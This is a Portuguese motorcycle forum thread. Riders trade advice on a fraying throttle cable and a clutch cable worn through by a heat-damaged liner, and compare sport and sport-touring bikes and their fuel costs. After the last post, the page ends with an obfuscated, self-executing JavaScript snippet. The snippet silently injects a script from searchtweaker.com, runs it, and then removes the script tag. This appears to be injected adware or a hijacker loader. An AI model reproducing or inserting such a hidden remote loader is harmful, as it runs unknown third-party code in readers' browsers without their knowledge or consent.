Fica a informação... Fui fazer a revisão dos 48.000 recentemente, e tinha o cabo do acelerador a desfiar-se.

Duvido que seja um problema do modelo, mas pelo sim pelo não, vão verificando o vosso cabo de acelerador...

ok, thanks

Já pusestes o Edgar a bater mal  

? eu já só a quero é em casa e em condições... já faz quase 1 mes  

se todos os meus problemas fossem um cabo, estava eu bem.. e isso deve ser do desgaste quase de certeza...

Edgar_Oliveira escreveu:

? eu já só a quero é em casa e em condições... já faz quase 1 mes  

se todos os meus problemas fossem um cabo, estava eu bem.. e isso deve ser do desgaste quase de certeza...

É demuito apertar a embraiagem   

Acho que já te apanhei, já cá moram 49.292 Km
Em nova aconteceu-me algo parecido. Ao fim de algum tempo comecei a constatar que era preciso mais força para apertar a embraiagem. Tiveram que me substituir todo o conjunto, cabo e revestimento. No meu caso o revestimento que é composto por uma espiral estava a comprimir o cabo.
Verifica se a causa do desgaste do cabo foi algo parecido. Nesse caso será melhor substituir também todo o revestimento!

  e o punho direito pessoal

é mt power

F1CT1C10U5 escreveu:

Fica a informação... Fui fazer a revisão dos 48.000 recentemente, e tinha o cabo do acelerador a desfiar-se.

Duvido que seja um problema do modelo, mas pelo sim pelo não, vão verificando o vosso cabo de acelerador...

Vejam lá os apertos que o FIC dá no acelerador.... Enrola o punho todo, e depois ainda dá mais meia volta.. não há cabo que aguente... xD

daikoni escreveu:

F1CT1C10U5 escreveu:

Fica a informação... Fui fazer a revisão dos 48.000 recentemente, e tinha o cabo do acelerador a desfiar-se.

Duvido que seja um problema do modelo, mas pelo sim pelo não, vão verificando o vosso cabo de acelerador...

Vejam lá os apertos que o FIC dá no acelerador.... Enrola o punho todo, e depois ainda dá mais meia volta.. não há cabo que aguente... xD

Por acaso... raramente passa de meio no dia a dia

Sim, a primeira volta ao acelerador está sempre dada... a partir daí só dás até mais meia...

Nunca andei numa 1000... mas deve de ser uma granda bomba, quase nem deve de ser preciso tocar no acelerador nunca... A minha anda praticamente sempre de punho enrolado... E dava-lhe mais umas 3 voltas se desse...  Os póneis são escassos...

Nesta tens que ter muito cuidado com o punho direito... não é preciso quase nada para sair um disparo...

F1CT1C10U5 escreveu:

Nesta tens que ter muito cuidado com o punho direito... não é preciso quase nada para sair um disparo...

mesmo...   

Qualquer das maneiras acho que não ia para uma 1000RR, vou mais à bola Sport Touring, devido a posição... Gosto de motas com estilo desportivo, e gosto de conforto... Sobra-me motas tipo a minha, a nova CBR650F, ou VFR800...

Se agora fosse trocar, à partida seria para uma destas.

Neste momento penso que os 87cv da 650F são mais que suficientes... Mas prontos, vocês já ouviram a histórias antes.... já cheguei a pensar que os 25cv da 250R eram suficientes, os 50cv desta 500R eram suficientes...

daikoni escreveu:

Neste momento penso que os 87cv da 650F são mais que suficientes... Mas prontos, vocês já ouviram a histórias antes.... já cheguei a pensar que os 25cv da 250R eram suficientes, os 50cv desta 500R eram suficientes...

Anda numa 1000RR e depois falamos...

F1CT1C10U5 escreveu:

Anda numa 1000RR e depois falamos...

Acho que ia ter um bocado medo da mota, pelo menos até me habituar... Basta em alguma curva ou alguma coisa um descuido com acelerador.... ai mãezinha!!!

isso é ilusao acredita.. depois de te sentares numa, transmite logo uma seguranca e "conforto" como se de uma 600 se tratasse (ja nem digo andar), n querias outra coisa.. olha k eu tmb vinha de uma 600F4i de 110 cavalitos, a 1000RR enche-me as medidas...

para uma turista... mais valia ires para a VFR1200 pelo menos tem mais alma, se bem k a rainha continua a ser a 1100XX, para quem vem de 600F é uma subida "normal" apesar de ter power para dar e vender tal como a 1000RR 

Para mim a posição tem de ser confortável para longas distâncias, puras desportivas tipo 600cc ou 1000cc para mim está fora de questão... Não é por mais nada... é mesmo pela posição. As minhas costas queixam-se logo.

E a VFR1200 bebe muito.... Já não acho que a minha 500zita beba muito pouco...
Eu faço quase 3000km por mês de média... ando a gastar 200€ com ela só em gasosa. O equivalente para a VFR1200 seria quase 400€... Sem contar com o resto das despesas.

São as razões pela qual comprei esta pequena 500, e não outra... Resume-se a posição, estilo e aspecto a meu agrado, e gastos €€€.

daikoni escreveu:

Para mim a posição tem de ser confortável para longas distâncias, puras desportivas tipo 600cc ou 1000cc para mim está fora de questão... Não é por mais nada... é mesmo pela posição. As minhas costas queixam-se logo.

E a VFR1200 bebe muito.... Já não acho que a minha 500zita beba muito pouco...
Eu faço quase 3000km por mês de média... ando a gastar 200€ com ela só em gasosa. O equivalente para a VFR1200 seria quase 400€... Sem contar com o resto das despesas.

São as razões pela qual comprei esta pequena 500, e não outra... Resume-se a posição, estilo e aspecto a meu agrado, e gastos €€€.

concordo, também ando perto dos 3000 Kms por mês e gasto também perto de 200 Euros de gota, mas admito que gostava de por as unhas numa 1000cc    mas secalhar depois já não queria eu outra coisa   ... mas as tantas ainda lá vou parar  

ainda hj pensei nisso, raramente preciso de colar punho mas o saber que ela dá mais e que posso faze-la dar mais é o que me satisfaz na mota.

em primeira é uma sapatada no acelerador e levanta logo

RicardoP escreveu:

ainda hj pensei nisso, raramente preciso de colar punho mas o saber que ela dá mais e que posso faze-la dar mais é o que me satisfaz na mota.

em primeira é uma sapatada no acelerador e levanta logo

Eu raramente preciso de DEScolar punho... 

Nuno.CBR escreveu:

concordo, também ando perto dos 3000 Kms por mês e gasto também perto de 200 Euros de gota, mas admito que gostava de por as unhas numa 1000cc    mas secalhar depois já não queria eu outra coisa   ... mas as tantas ainda lá vou parar  

entao n esperimentes senao n ha volta a dar ahaha

RicardoP escreveu:

ainda hj pensei nisso, raramente preciso de colar punho mas o saber que ela dá mais e que posso faze-la dar mais é o que me satisfaz na mota.

em primeira é uma sapatada no acelerador e levanta logo

de 1? nem na 600.. sobe rapido de mais... em 2 com jeito tmb basta sapatada de punho

F1CT1C10U5 escreveu:

Fica a informação... Fui fazer a revisão dos 48.000 recentemente, e tinha o cabo do acelerador a desfiar-se.

Duvido que seja um problema do modelo, mas pelo sim pelo não, vão verificando o vosso cabo de acelerador...

A origem deste problema pode ser semelhante à que me aconteceu na minha embraiagem (do lado esquerdo, obviamente!!  ). Segundo o que o meu mecânico me informou, pode estar relacionada com a degradaçao da proteção tubular de plástico de alta resistencia que reveste (ambos) os cabos. Nestas situações o cabo de aço fica a roçar a espiral exterior também de aço levando-a a ruptura. Adiantou que basta que o cabo sofra um aquecimento maior (encosto ao radiador ou motor, por exemplo) para se desfazer esse interior de plástico. Nesse sentido convém verificar que os cabo do acelerador e embraiagem, estejam bem protegidos das partes mais quentes do motor.
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="http://www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();